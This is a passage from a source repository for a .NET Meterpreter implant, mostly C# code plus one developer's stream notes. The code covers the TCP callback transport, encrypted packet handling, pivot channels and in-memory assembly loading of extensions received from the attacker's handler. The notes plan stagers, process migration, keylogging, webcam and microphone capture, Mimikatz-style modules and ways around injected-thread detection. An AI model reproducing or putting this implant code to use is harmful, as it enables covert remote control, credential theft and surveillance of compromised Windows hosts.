this.errorThread.Abort(); 79 | base.FireClosedEvent(); 80 | } 81 | 82 | public override void Interact(bool interact) 83 | { 84 | var fireEvent = interact && !this.interactive; 85 | this.interactive = interact; 86 | if (fireEvent) 87 | { 88 | // Indicate to both threads that they can continue processing 89 | // as we have gone interactive 90 | this.interactiveSemaphore.Release(2); 91 | } 92 | } 93 | 94 | public override void Close() 95 | { 96 | this.process.Kill(); 97 | } 98 | 99 | protected override PacketResult WriteInternal(byte[] data, int bytesToWrite, out int bytesWritten) 100 | { 101 | var result = PacketResult.InvalidData; 102 | bytesWritten = 0; 103 | 104 | if (data != null) 105 | { 106 | this.process.StandardInput.Write(this.process.StandardOutput.CurrentEncoding.GetString(data)); 107 | bytesWritten = data.Length; 108 | result = PacketResult.Success; 109 | } 110 | 111 | return result; 112 | } 113 | } 114 | } 115 | -------------------------------------------------------------------------------- /src/metsrv.net35/metsrv.net35.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | AnyCPU 7 | {E05D0DEB-D724-4448-8C4C-53D6A8E670F3} 8 | Library 9 | Properties 10 | Met.Core 11 | metsrv.net35 12 | v3.5 13 | 512 14 | 15 | 16 | true 17 | full 18 | false 19 | ..\bin\Debug\ 20 | DEBUG;TRACE 21 | prompt 22 | 4 23 | 24 | 25 | pdbonly 26 | true 27 | ..\bin\Release\ 28 | TRACE 29 | prompt 30 | 4 31 | 32 | 33 | 34 | 35 | 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | 44 | 45 | 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | copy /y $(TargetPath) Z:\meterpreter.net\ 87 | 88 | -------------------------------------------------------------------------------- /src/metsrv.net35/Proto/PacketEncryptor.cs: -------------------------------------------------------------------------------- 1 | using Met.Core.Extensions; 2 | using System.IO; 3 | using System.Security.Cryptography; 4 | 5 | namespace Met.Core.Proto 6 | { 7 | public class PacketEncryptor 8 | { 9 | public const uint ENC_NONE = 0u; 10 | public const uint ENC_AES256 = 1u; 11 | 12 | private RNGCryptoServiceProvider random = null; 13 | private RSACryptoServiceProvider rsa = null; 14 | private byte[] aesKey; 15 | 16 | private static object blankLock = new object(); 17 | private static PacketEncryptor blankEncryptor = null; 18 | public static PacketEncryptor Blank 19 | { 20 | get 21 | { 22 | if (blankEncryptor == null) 23 | { 24 | lock(blankLock) 25 | { 26 | if (blankEncryptor == null) 27 | { 28 | blankEncryptor = new PacketEncryptor(); 29 | } 30 | } 31 | } 32 | return blankEncryptor; 33 | } 34 | } 35 | 36 | public PacketEncryptor() 37 | { 38 | this.random = new RNGCryptoServiceProvider(); 39 | this.rsa = new RSACryptoServiceProvider(); 40 | } 41 | 42 | public bool Enabled { get; set; } 43 | 44 | public byte[] AesKey 45 | { 46 | get { return this.aesKey; } 47 | set { this.aesKey = value; this.Enabled = false; } 48 | } 49 | 50 | public bool HasAesKey 51 | { 52 | get { return this.aesKey != null; } 53 | } 54 | 55 | public uint Flags 56 | { 57 | get 58 | { 59 | if (this.HasAesKey && this.Enabled) 60 | { 61 | return ENC_AES256; 62 | } 63 | return ENC_NONE; 64 | } 65 | } 66 | 67 | public byte[] GenerateNewAesKey() 68 | { 69 | return this.GenerateRandomBytes(32); 70 | } 71 | 72 | public byte[] RsaEncrypt(string pubKey, byte[] key) 73 | { 74 | this.rsa.LoadPublicKeyPEM(pubKey); 75 | var encryptedData = this.rsa.Encrypt(key, false); 76 | return encryptedData; 77 | } 78 | 79 | public byte[] AesEncrypt(byte[] data) 80 | { 81 | var iv = this.GenerateRandomBytes(16); 82 | using (var aes = new AesManaged()) 83 | using (var encryptor = aes.CreateEncryptor(this.AesKey, iv)) 84 | using (var memStream = new MemoryStream()) 85 | { 86 | memStream.Write(iv, 0, iv.Length); 87 | using (var cryptoStream = new CryptoStream(memStream, encryptor, CryptoStreamMode.Write)) 88 | { 89 | cryptoStream.Write(data, 0, data.Length); 90 | } 91 | return memStream.ToArray(); 92 | } 93 | } 94 | 95 | public byte[] AesDecrypt(byte[] data) 96 | { 97 | var iv = new byte[16]; 98 | var result = new byte[data.Length - iv.Length]; 99 | using (var dataReader = new MemoryStream(data)) 100 | { 101 | dataReader.Read(iv, 0, iv.Length); 102 | using (var aes = new AesManaged()) 103 | using (var decryptor = aes.CreateDecryptor(this.AesKey, iv)) 104 | using (var cryptoStream = new CryptoStream(dataReader, decryptor, CryptoStreamMode.Read)) 105 | { 106 | var bytesDecrypted = cryptoStream.Read(result, 0, result.Length); 107 | 108 | using (var resultStream = new MemoryStream()) 109 | { 110 | resultStream.Write(result, 0, bytesDecrypted); 111 | return resultStream.ToArray(); 112 | } 113 | } 114 | } 115 | } 116 | 117 | public byte[] Encrypt(byte[] data) 118 | { 119 | if (!this.Enabled) 120 | { 121 | return data; 122 | } 123 | 124 | return this.AesEncrypt(data); 125 | } 126 | 127 | private byte[] GenerateRandomBytes(int size) 128 | { 129 | var bytes = new byte[size]; 130 | this.random.GetBytes(bytes); 131 | return bytes; 132 | } 133 | } 134 | } 135 | -------------------------------------------------------------------------------- /streams/2019-04-27-Part-3/notes.md: -------------------------------------------------------------------------------- 1 | CLR Meterpreter 2 | =============== 3 | 4 | # Rationale 5 | 6 | ## Good feelz 7 | * I want to give back. 8 | * I want to educate. 9 | 10 | ## offsec reasons 11 | * Powershell is dying. 12 | * Native code exec == hard. 13 | * Dynamic languages == poo -- javascript, python, ruby, etc. 14 | * .NET/CLR is now on basically every windows host. 15 | - There is a .NET runtime of sorts on other machines too. 16 | * JIT'd languages often have a lot of RWX pages 17 | 18 | ## Why Meterpreter 19 | * Longer shelflife for meterp 20 | * share knowledge of meterp in particular 21 | - you guys can contribute to it too 22 | * Other ideas of how .NET stuff can be utilised and abused in .NET Meterpreter 23 | - New extensions 24 | * Add more transports 25 | - WCF -> binary formatted TCP sockets 26 | 27 | ## Selfish reasons 28 | * Because I like C#... more than most other languages that are mainstream. 29 | - If I could, I'd use F#. 30 | * Need to keep streams shorter -- the long ones kill me! 31 | * Twitch Affiliate 32 | 33 | # Major implementation areas 34 | * Stagers 35 | - support various ways to invoke the payload, PowerShell, ASPX, EXE, DLL, C#, MSIL 36 | - Won't be using the existing native stagers -- too complex for now 37 | - Supporting encoding/encryption of payloads 38 | * The ability to load a stage and the extensions 39 | - How do we implement things like Mimikatz/Incognito? 40 | * Transports! 41 | - HTTPS, HTTP, TCP, SMB/NamedPipe, (DNS...) 42 | * TLV "Protocol" 43 | - Handling TLV packets properly 44 | - Handling encryption of packets properly 45 | * Sessions 46 | - Managing the state of Meterpreter regardless of transport and connectivity 47 | - Transport Failover 48 | * Channels 49 | - Provide the means for multiple actions to stream communications over the single transport/session 50 | * Features in basically every Meterp 51 | - File IO 52 | - Process management 53 | - Interacting with the registry 54 | - Webcam/mic/trolling 55 | - .... 56 | * Migration 57 | - These days, this stands out like Dogs ... 58 | - Should we do the "powerpick" style CLR loading and create a .NET session in a native process? 59 | - Should we just inject a native Meterpreter on migrate? 60 | * Threading 61 | - Most commands are implemented on a separate thread 62 | * Pivoting 63 | - Packet pivots 64 | * Native vs Non-native 65 | - Migration 66 | - Process injection 67 | - Keylogging 68 | * Railgun 69 | - Implementation of the Win32 API callable via Metasploit 70 | * Configuration 71 | - taking the configuration of the listener (in MSF) and creating relevant transports/etc. 72 | * Supporting post modules 73 | - Railgun 74 | - All the standard features 75 | - Loading of extension 76 | - We need to make sure that post modules that say they support "windows" work on .NET Meterpeter. 77 | * venom payload generation 78 | * PROXIES 79 | 80 | ## Testing 81 | * Test driven development? 82 | - LOLNO. 83 | * Unit tests? 84 | - Definitely 85 | * Integration tests? 86 | - Definitely 87 | * Property-based tests? 88 | - Not yet ;D 89 | 90 | ## .NET specific considerations for implementation 91 | * Which version(s) do we support? 92 | - Visual Studio version? 93 | - 2.0 --- 4.9..? 94 | - Mono.net and .NET Core 95 | * AppDomains 96 | * P/Invoke 97 | * Mixed Mode Assemblies 98 | * Dynamic Assembly Generation 99 | * Built in C# compiler 100 | * Nuget -- we don't need it, because we probably don't need any third party packages. 101 | * Should we obfuscate at compile time? 102 | - Not yet. But perhaps when we're doing with v1, we'll look into it. 103 | 104 | 105 | ### Version References 106 | 107 | * https://docs.microsoft.com/en-us/dotnet/framework/migration-guide/versions-and-dependencies 108 | * https://en.wikipedia.org/wiki/.NET_Framework_version_history 109 | * https://docs.microsoft.com/en-us/dotnet/standard/frameworks 110 | * https://docs.microsoft.com/en-us/dotnet/csharp/programming-guide/classes-and-structs/extension-methods 111 | 112 | ## Validation of functionality 113 | * How do we test this? 114 | 115 | # Contstraints, gotchas, traps, pitfalls 116 | * When we create threads in an assembly that was loaded from memory in a .NET application, are those memory areas marked as MEM_IMAGE? (ie. will they bypass Get-InjectedThread.ps1). 117 | * Time/management/etc. 118 | * Metasploit 119 | - TLV packets 120 | - Expose the features 121 | - "Chattiness" 122 | - Mutual auth -- this is not something that MSF currently does. 123 | - Can't easily handle multiple users talking to the same meterpreter session at once 124 | 125 | -------------------------------------------------------------------------------- /src/metsrv.net35/Trans/TcpTransport.cs: -------------------------------------------------------------------------------- 1 | using Met.Core.Proto; 2 | using System; 3 | using System.IO; 4 | using System.Net.Sockets; 5 | 6 | namespace Met.Core.Trans 7 | { 8 | public class TcpTransport : ITransport 9 | { 10 | private TcpClient tcpClient = null; 11 | private NetworkStream tcpStream = null; 12 | private BinaryReader tcpReader = null; 13 | private Session session = null; 14 | private object tcpSendLock = null; 15 | 16 | public TransportConfig Config { get; private set; } 17 | 18 | public bool IsConnected 19 | { 20 | get 21 | { 22 | return this.tcpClient != null && this.tcpClient.Connected; 23 | } 24 | } 25 | 26 | public TcpTransport(TransportConfig config, Session session) 27 | { 28 | this.tcpSendLock = new object(); 29 | this.Config = config; 30 | this.session = session; 31 | } 32 | 33 | public void Configure(BinaryReader reader) 34 | { 35 | // We don't need to get any other configuration out in TCP transports. 36 | } 37 | 38 | public void Configure(Packet request) 39 | { 40 | // We don't need to get any other configuration out in TCP transports. 41 | } 42 | 43 | public bool Connect() 44 | { 45 | var client = default(TcpClient); 46 | if (!this.IsConnected) 47 | { 48 | if (this.Config.Uri.Host == System.Net.IPAddress.Any.ToString()) 49 | { 50 | var tcpListener = new TcpListener(System.Net.IPAddress.Any, this.Config.Uri.Port); 51 | tcpListener.Start(1); 52 | client = tcpListener.AcceptTcpClient(); 53 | tcpListener.Stop(); 54 | } 55 | else 56 | { 57 | client = new TcpClient(); 58 | 59 | try 60 | { 61 | client.Connect(this.Config.Uri.Host, this.Config.Uri.Port); 62 | } 63 | catch 64 | { 65 | // something went wrong connecting, so assume we haven't succeeded 66 | // and just move on with the transport retry/handle functionality 67 | } 68 | } 69 | } 70 | 71 | if (client != null && client.Connected) 72 | { 73 | this.Wrap(client); 74 | } 75 | 76 | return this.IsConnected; 77 | } 78 | 79 | public void Disconnect() 80 | { 81 | if (this.tcpReader != null) 82 | { 83 | ((IDisposable)this.tcpReader).Dispose(); 84 | this.tcpReader = null; 85 | } 86 | 87 | if (this.tcpStream != null) 88 | { 89 | this.tcpStream.Close(); 90 | this.tcpStream.Dispose(); 91 | this.tcpStream = null; 92 | } 93 | 94 | if (this.tcpClient != null) 95 | { 96 | ((IDisposable)this.tcpClient).Dispose(); 97 | this.tcpClient = null; 98 | } 99 | } 100 | 101 | public void Wrap(TcpClient tcpClient) 102 | { 103 | Disconnect(); 104 | this.tcpClient = tcpClient; 105 | this.tcpStream = this.tcpClient.GetStream(); 106 | this.tcpReader = new BinaryReader(this.tcpStream); 107 | } 108 | 109 | public void Dispose() 110 | { 111 | Disconnect(); 112 | } 113 | 114 | public void GetConfig(ITlv tlv) 115 | { 116 | this.Config.GetConfig(tlv); 117 | } 118 | 119 | public Packet ReceivePacket(PacketEncryptor packetEncryptor) 120 | { 121 | try 122 | { 123 | var peekBuffer = new byte[4]; 124 | if (this.tcpClient.Client.Receive(peekBuffer, SocketFlags.Peek) == peekBuffer.Length) 125 | { 126 | if (peekBuffer[peekBuffer.Length - 1] == 0) 127 | { 128 | FlushStage(); 129 | } 130 | } 131 | 132 | return new Packet(this.tcpReader, packetEncryptor); 133 | } 134 | catch 135 | { 136 | // The transport may have bailed while we were trying to read, so return null 137 | // to indicate a transport error. 138 | } 139 | return null; 140 | } 141 | 142 | public void SendPacket(byte[] responsePacket) 143 | { 144 | lock (this.tcpSendLock) 145 | { 146 | this.tcpStream.Write(responsePacket, 0, responsePacket.Length); 147 | } 148 | } 149 | 150 | private void FlushStage() 151 | { 152 | var size = this.tcpReader.ReadInt32(); 153 | this.tcpReader.ReadBytes(size); 154 | } 155 | } 156 | } 157 | -------------------------------------------------------------------------------- /src/stdapi.net35/Channel/TcpClientChannel.cs: -------------------------------------------------------------------------------- 1 | using Met.Core; 2 | using Met.Core.Extensions; 3 | using Met.Core.Proto; 4 | using System; 5 | using System.Net; 6 | using System.Net.Sockets; 7 | 8 | namespace Met.Stdapi.Channel 9 | { 10 | public class TcpClientChannel : Core.Channel 11 | { 12 | private readonly string peerHost = null; 13 | private readonly int peerPort = 0; 14 | private readonly uint flags = 0; 15 | private readonly uint channelClass = 0; 16 | private readonly TcpClient tcpClient = null; 17 | private readonly NetworkStream stream = null; 18 | private readonly byte[] readBuffer = null; 19 | 20 | private bool closing = false; 21 | 22 | public string PeerHost 23 | { 24 | get { return ((IPEndPoint)this.tcpClient.Client.RemoteEndPoint).Address.ToString(); } 25 | } 26 | 27 | public int PeerPort 28 | { 29 | get { return ((IPEndPoint)this.tcpClient.Client.RemoteEndPoint).Port; } 30 | } 31 | 32 | protected TcpClientChannel(Core.ChannelManager channelManager, string peerHost, int peerPort, uint flags, uint channelClass, TcpClient tcpClient) 33 | : base(channelManager) 34 | { 35 | this.peerHost = peerHost; 36 | this.peerPort = peerPort; 37 | this.flags = flags; 38 | this.channelClass = channelClass; 39 | this.tcpClient = tcpClient; 40 | this.stream = tcpClient.GetStream(); 41 | this.readBuffer = new byte[ushort.MaxValue]; 42 | 43 | BeginRead(); 44 | } 45 | 46 | public static TcpClientChannel Create(Core.ChannelManager channelManager, Packet request, Packet response) 47 | { 48 | var peerHost = request.Tlvs.TryGetTlvValueAsString(TlvType.StdapiPeerHost); 49 | var peerPort = (int)request.Tlvs.TryGetTlvValueAsDword(TlvType.StdapiPeerPort); 50 | var flags = request.Tlvs.TryGetTlvValueAsDword(TlvType.Flags); 51 | var channelClass = request.Tlvs.TryGetTlvValueAsDword(TlvType.ChannelClass); 52 | 53 | var tcpClient = new TcpClient(); 54 | try 55 | { 56 | tcpClient.Connect(peerHost, peerPort); 57 | 58 | return new TcpClientChannel(channelManager, peerHost, peerPort, flags, channelClass, tcpClient); 59 | } 60 | catch 61 | { 62 | return null; 63 | } 64 | } 65 | 66 | public static TcpClientChannel Wrap(ChannelManager channelManager, TcpClient client) 67 | { 68 | var endpoint = (IPEndPoint)client.Client.RemoteEndPoint; 69 | var peerHost = endpoint.Address.ToString(); 70 | var peerPort = endpoint.Port; 71 | 72 | return new TcpClientChannel(channelManager, peerHost, peerPort, 0, 0, client); 73 | } 74 | 75 | protected override PacketResult WriteInternal(byte[] data, int bytesToWrite, out int bytesWritten) 76 | { 77 | try 78 | { 79 | this.stream.Write(data, 0, data.Length); 80 | bytesWritten = data.Length; 81 | return PacketResult.Success; 82 | } 83 | catch 84 | { 85 | bytesWritten = 0; 86 | // TODO: add a proper result 87 | return PacketResult.InvalidData; 88 | } 89 | } 90 | 91 | private void BeginRead() 92 | { 93 | this.stream.BeginRead(this.readBuffer, 0, this.readBuffer.Length, SocketReadCompleted, this); 94 | } 95 | 96 | private void SocketReadCompleted(IAsyncResult result) 97 | { 98 | var connectionClosed = false; 99 | 100 | try 101 | { 102 | int bytesRead = this.stream.EndRead(result); 103 | 104 | if (bytesRead > 0) 105 | { 106 | var packet = new Packet("core_channel_write"); 107 | packet.Add(TlvType.ChannelId, this.ChannelId); 108 | packet.Add(TlvType.ChannelData, this.readBuffer, bytesRead); 109 | 110 | this.ChannelManager.Dispatch(packet); 111 | } 112 | else 113 | { 114 | connectionClosed = true; 115 | } 116 | 117 | } 118 | catch(Exception e) 119 | { 120 | System.Diagnostics.Debug.WriteLine(string.Format("TcpClientChannel Exception: {0}", e.Message)); 121 | connectionClosed = true; 122 | } 123 | 124 | if (connectionClosed) 125 | { 126 | if (!this.closing) 127 | { 128 | this.FireClosedEvent(); 129 | this.Close(); 130 | } 131 | } 132 | else 133 | { 134 | this.BeginRead(); 135 | } 136 | } 137 | 138 | public override void Close() 139 | { 140 | this.closing = true; 141 | this.tcpClient.Close(); 142 | } 143 | } 144 | } 145 | -------------------------------------------------------------------------------- /src/metsrv.net35/PluginManager.cs: -------------------------------------------------------------------------------- 1 | using Met.Core.Proto; 2 | using System; 3 | using System.Collections.Generic; 4 | using System.Linq; 5 | using System.Reflection; 6 | using System.Threading; 7 | 8 | namespace Met.Core 9 | { 10 | public enum InlineProcessingResult 11 | { 12 | Continue, 13 | PrevTransport, 14 | NextTransport, 15 | Shutdown 16 | } 17 | 18 | public class PluginManager 19 | { 20 | private class FunctionDefinition 21 | { 22 | public string ExtName { get; private set; } 23 | public string Method { get; private set; } 24 | public bool Blocking { get; private set; } 25 | public Func Handler { get; private set; } 26 | 27 | public FunctionDefinition(string extName, string method, bool blocking, Func handler) 28 | { 29 | this.ExtName = extName; 30 | this.Method = method; 31 | this.Blocking = blocking; 32 | this.Handler = handler; 33 | } 34 | } 35 | 36 | private readonly Dictionary handlers = null; 37 | private readonly Dictionary> extFunctions = null; 38 | private readonly IPacketDispatcher packetDispatcher = null; 39 | private readonly ChannelManager channelManager = null; 40 | 41 | public PluginManager(IPacketDispatcher packetDispatcher, ChannelManager channelManager) 42 | { 43 | this.handlers = new Dictionary(); 44 | this.extFunctions = new Dictionary>(); 45 | this.packetDispatcher = packetDispatcher; 46 | this.channelManager = channelManager; 47 | AppDomain.CurrentDomain.AssemblyResolve += AssemblyResolve; 48 | 49 | // Internal function registrations 50 | this.RegisterFunction(string.Empty, "core_enumextcmd", false, this.CoreEnumextcmd); 51 | this.RegisterFunction(string.Empty, "core_loadlib", false, this.CoreLoadLib); 52 | } 53 | 54 | private Assembly AssemblyResolve(object sender, ResolveEventArgs args) 55 | { 56 | return Assembly.GetExecutingAssembly(); 57 | } 58 | 59 | public void RegisterFunction(string extName, string method, bool blocking, Func handler) 60 | { 61 | this.handlers[method] = new FunctionDefinition(extName, method, blocking, handler); 62 | } 63 | 64 | public void UnregisterFunction(string name) 65 | { 66 | this.handlers.Remove(name); 67 | } 68 | 69 | public InlineProcessingResult InvokeHandler(Packet request, Packet response) 70 | { 71 | var result = InlineProcessingResult.Continue; 72 | var fd = default(FunctionDefinition); 73 | 74 | if (this.handlers.TryGetValue(request.Method, out fd)) 75 | { 76 | if (!fd.Blocking) 77 | { 78 | var threadStart = new ThreadStart(() => 79 | { 80 | fd.Handler(request, response); 81 | this.packetDispatcher.DispatchPacket(response); 82 | }); 83 | 84 | var thread = new Thread(threadStart); 85 | thread.Start(); 86 | return InlineProcessingResult.Continue; 87 | } 88 | 89 | result = fd.Handler(request, response); 90 | } 91 | else 92 | { 93 | response.Result = PacketResult.CallNotImplemented; 94 | } 95 | 96 | this.packetDispatcher.DispatchPacket(response); 97 | return result; 98 | } 99 | 100 | private InlineProcessingResult CoreLoadLib(Packet request, Packet response) 101 | { 102 | var data = request.Tlvs[TlvType.Data].First().ValueAsRaw(); 103 | var assembly = Assembly.Load(data); 104 | 105 | var pluginType = assembly.GetTypes().Where(t => t.IsClass && typeof(IPlugin).IsAssignableFrom(t)).FirstOrDefault(); 106 | if (pluginType != null) 107 | { 108 | var pluginInstance = assembly.CreateInstance(pluginType.FullName) as IPlugin; 109 | pluginInstance.Register(this, this.channelManager); 110 | 111 | foreach (var cmd in GetCommandsForExtension(pluginInstance.Name)) 112 | { 113 | response.Add(TlvType.Method, cmd); 114 | } 115 | 116 | response.Result = PacketResult.Success; 117 | } 118 | else 119 | { 120 | response.Result = PacketResult.InvalidData; 121 | } 122 | 123 | return InlineProcessingResult.Continue; 124 | } 125 | 126 | private InlineProcessingResult CoreEnumextcmd(Packet request, Packet response) 127 | { 128 | var extName = request.Tlvs[TlvType.String].First().ValueAsString(); 129 | 130 | foreach (var cmd in GetCommandsForExtension(extName)) 131 | { 132 | response.Add(TlvType.String, cmd); 133 | } 134 | 135 | response.Result = PacketResult.Success; 136 | 137 | return InlineProcessingResult.Continue; 138 | } 139 | 140 | private IEnumerable GetCommandsForExtension(string extName) 141 | { 142 | return this.handlers.Values.Where(fd => fd.ExtName == extName).Select(fd => fd.Method); 143 | } 144 | } 145 | } 146 | -------------------------------------------------------------------------------- /src/metsrv.net35/Pivot/NamedPipePivot.cs: -------------------------------------------------------------------------------- 1 | using Met.Core.Extensions; 2 | using Met.Core.Proto; 3 | using System; 4 | using System.ComponentModel; 5 | using System.IO; 6 | using System.IO.Pipes; 7 | using System.Net; 8 | using System.Threading; 9 | 10 | namespace Met.Core.Pivot 11 | { 12 | public class PacketBody 13 | { 14 | private readonly PacketHeader header; 15 | 16 | public byte[] Buffer { get; private set; } 17 | public int Position { get; set; } 18 | 19 | public PacketBody(PacketHeader header) 20 | { 21 | this.header = header; 22 | this.header.Prepare(); 23 | this.Buffer = new byte[this.header.BodyLength - 8]; 24 | this.Position = 0; 25 | } 26 | 27 | public Packet ToPacket() 28 | { 29 | this.header.Unprepare(); 30 | using (var memStream = new MemoryStream()) 31 | { 32 | memStream.Write(this.header.Buffer, 0, this.header.Buffer.Length); 33 | memStream.Write(this.Buffer, 0, this.Buffer.Length); 34 | memStream.Seek(0, SeekOrigin.Begin); 35 | using (var binaryReader = new BinaryReader(memStream)) 36 | { 37 | return new Packet(binaryReader); 38 | } 39 | } 40 | } 41 | } 42 | public class PacketHeader 43 | { 44 | private byte[] xorKey; 45 | 46 | public byte[] Buffer { get; private set; } 47 | public int Position { get; set; } 48 | 49 | public uint BodyLength 50 | { 51 | get 52 | { 53 | return (UInt32)IPAddress.NetworkToHostOrder(BitConverter.ToInt32(this.Buffer, this.Buffer.Length - 8)); 54 | } 55 | } 56 | 57 | public PacketHeader() 58 | { 59 | this.Buffer = new byte[Packet.HEADER_SIZE]; 60 | this.Position = 0; 61 | } 62 | 63 | public void Prepare() 64 | { 65 | this.xorKey = new byte[4]; 66 | Array.Copy(this.Buffer, this.xorKey, this.xorKey.Length); 67 | this.Buffer.Xor(this.xorKey); 68 | } 69 | 70 | public void Unprepare() 71 | { 72 | this.Buffer.Xor(this.xorKey); 73 | } 74 | } 75 | 76 | public class NamedPipePivot : Pivot 77 | { 78 | private readonly NamedPipeServerStream server; 79 | private bool established = false; 80 | private Guid sessionId = Guid.Empty; 81 | private string getSessionGuidReqId = null; 82 | 83 | public NamedPipePivot(IPacketDispatcher packetDispacher, NamedPipeServerStream server, byte[] stageData) 84 | : base(packetDispacher) 85 | { 86 | this.server = server; 87 | if (stageData != null && stageData.Length > 0) 88 | { 89 | using (var memStream = new MemoryStream(stageData.Length + 4)) 90 | using (var writer = new BinaryWriter(memStream)) 91 | { 92 | writer.Write(stageData.Length); 93 | writer.Write(stageData); 94 | Write(memStream.ToArray()); 95 | } 96 | } 97 | 98 | EstablishSession(); 99 | ReadHeaderAsync(); 100 | } 101 | 102 | private void EstablishSession() 103 | { 104 | var packet = new Packet("core_get_session_guid"); 105 | this.getSessionGuidReqId = packet.RequestId; 106 | Write(packet); 107 | } 108 | 109 | private void ReadHeaderAsync() 110 | { 111 | var packetHeader = new PacketHeader(); 112 | this.server.BeginRead(packetHeader.Buffer, 0, packetHeader.Buffer.Length, HeaderDataReceived, packetHeader); 113 | } 114 | 115 | private void HeaderDataReceived(IAsyncResult result) 116 | { 117 | var packetHeader = (PacketHeader)result.AsyncState; 118 | var bytesRead = this.server.EndRead(result); 119 | 120 | if(bytesRead > 0) 121 | { 122 | packetHeader.Position += bytesRead; 123 | 124 | var bytesLeft = packetHeader.Buffer.Length - packetHeader.Position ; 125 | if (bytesLeft > 0) 126 | { 127 | this.server.BeginRead(packetHeader.Buffer, packetHeader.Position, bytesLeft, HeaderDataReceived, packetHeader); 128 | } 129 | else 130 | { 131 | // The header has been received, let's receive the body of the packet next. 132 | var packetBody = new PacketBody(packetHeader); 133 | this.server.BeginRead(packetBody.Buffer, 0, packetBody.Buffer.Length, BodyDataReceived, packetBody); 134 | } 135 | } 136 | } 137 | 138 | private void BodyDataReceived(IAsyncResult result) 139 | { 140 | var packetBody = (PacketBody)result.AsyncState; 141 | var bytesRead = this.server.EndRead(result); 142 | 143 | if(bytesRead > 0) 144 | { 145 | packetBody.Position += bytesRead; 146 | 147 | var bytesLeft = packetBody.Buffer.Length - packetBody.Position ; 148 | if (bytesLeft > 0) 149 | { 150 | this.server.BeginRead(packetBody.Buffer, packetBody.Position, bytesLeft, HeaderDataReceived, packetBody); 151 | } 152 | else 153 | { 154 | // We now have a full packet. 155 | var packet = packetBody.ToPacket(); 156 | 157 | if (!this.established && packet.RequestId == this.getSessionGuidReqId) 158 | { 159 | var guid = packet.Tlvs.TryGetTlvValueAsRaw(TlvType.SessionGuid); 160 | } 161 | } 162 | } 163 | } 164 | 165 | private void Write(Packet packet) 166 | { 167 | Write(packet.ToRaw(this.sessionId)); 168 | } 169 | 170 | private void Write(byte[] data) 171 | { 172 | //this.server.BeginWrite(data, 0, data.Length, DataWritten, null); 173 | this.server.Write(data, 0, data.Length); 174 | } 175 | 176 | private void DataWritten(IAsyncResult result) 177 | { 178 | this.server.EndWrite(result); 179 | } 180 | } 181 | } 182 | -------------------------------------------------------------------------------- /src/metsrv.net35/ChannelManager.cs: -------------------------------------------------------------------------------- 1 | using Met.Core.Extensions; 2 | using Met.Core.Proto; 3 | using System; 4 | using System.Collections.Generic; 5 | 6 | namespace Met.Core 7 | { 8 | public class ChannelManager 9 | { 10 | private Dictionary> channelCreators = null; 11 | private Dictionary activeChannels = null; 12 | 13 | private IPacketDispatcher packetDispatcher; 14 | 15 | public ChannelManager(IPacketDispatcher packetDispatcher) 16 | { 17 | this.channelCreators = new Dictionary>(); 18 | this.activeChannels = new Dictionary(); 19 | this.packetDispatcher = packetDispatcher; 20 | } 21 | 22 | public void RegisterChannelCreator(string channelType, Func handler) 23 | { 24 | this.channelCreators[channelType] = handler; 25 | } 26 | 27 | public void RegisterCommands(PluginManager pluginManager) 28 | { 29 | pluginManager.RegisterFunction(string.Empty, "core_channel_open", false, this.ChannelOpen); 30 | pluginManager.RegisterFunction(string.Empty, "core_channel_write", false, this.ChannelWrite); 31 | pluginManager.RegisterFunction(string.Empty, "core_channel_close", false, this.ChannelClose); 32 | pluginManager.RegisterFunction(string.Empty, "core_channel_interact", false, this.ChannelInteract); 33 | pluginManager.RegisterFunction(string.Empty, "core_channel_read", false, this.ChannelRead); 34 | pluginManager.RegisterFunction(string.Empty, "core_channel_tell", false, this.ChannelTell); 35 | pluginManager.RegisterFunction(string.Empty, "core_channel_eof", false, this.ChannelIsEof); 36 | } 37 | 38 | public void Manage(Channel channel) 39 | { 40 | this.activeChannels[channel.ChannelId] = channel; 41 | channel.ChannelClosed += ChannelClosed; 42 | } 43 | 44 | public void Dispatch(Packet packet) 45 | { 46 | this.packetDispatcher.DispatchPacket(packet); 47 | } 48 | 49 | private InlineProcessingResult ChannelAct(Packet request, Packet response, Func action) 50 | { 51 | var channelId = request.Tlvs.TryGetTlvValueAsDword(TlvType.ChannelId); 52 | var interact = request.Tlvs.TryGetTlvValueAsBool(TlvType.Bool); 53 | response.Result = PacketResult.CallNotImplemented; 54 | 55 | var channel = default(Channel); 56 | if (this.activeChannels.TryGetValue(channelId, out channel)) 57 | { 58 | response.Result = action(channel); 59 | } 60 | 61 | return InlineProcessingResult.Continue; 62 | } 63 | 64 | private InlineProcessingResult ChannelIsEof(Packet request, Packet response) 65 | { 66 | return ChannelAct(request, response, channel => 67 | { 68 | response.Add(TlvType.ChannelId, channel.ChannelId); 69 | return channel.IsEof(request, response); 70 | }); 71 | } 72 | 73 | private InlineProcessingResult ChannelTell(Packet request, Packet response) 74 | { 75 | return ChannelAct(request, response, channel => 76 | { 77 | response.Add(TlvType.ChannelId, channel.ChannelId); 78 | return channel.Tell(request, response); 79 | }); 80 | } 81 | 82 | private InlineProcessingResult ChannelRead(Packet request, Packet response) 83 | { 84 | return ChannelAct(request, response, channel => 85 | { 86 | response.Add(TlvType.ChannelId, channel.ChannelId); 87 | return channel.Read(request, response); 88 | }); 89 | } 90 | 91 | private InlineProcessingResult ChannelInteract(Packet request, Packet response) 92 | { 93 | return ChannelAct(request, response, channel => 94 | { 95 | channel.Interact(request.Tlvs.TryGetTlvValueAsBool(TlvType.Bool)); 96 | return PacketResult.Success; 97 | }); 98 | } 99 | 100 | private InlineProcessingResult ChannelClose(Packet request, Packet response) 101 | { 102 | return ChannelAct(request, response, channel => 103 | { 104 | channel.Close(); 105 | this.activeChannels.Remove(channel.ChannelId); 106 | return PacketResult.Success; 107 | }); 108 | } 109 | 110 | private InlineProcessingResult ChannelWrite(Packet request, Packet response) 111 | { 112 | return ChannelAct(request, response, channel => 113 | { 114 | response.Add(TlvType.ChannelId, channel.ChannelId); 115 | return channel.Write(request, response); 116 | }); 117 | } 118 | 119 | private InlineProcessingResult ChannelOpen(Packet request, Packet response) 120 | { 121 | response.Result = PacketResult.CallNotImplemented; 122 | var channelType = request.Tlvs.TryGetTlvValueAsString(TlvType.ChannelType); 123 | 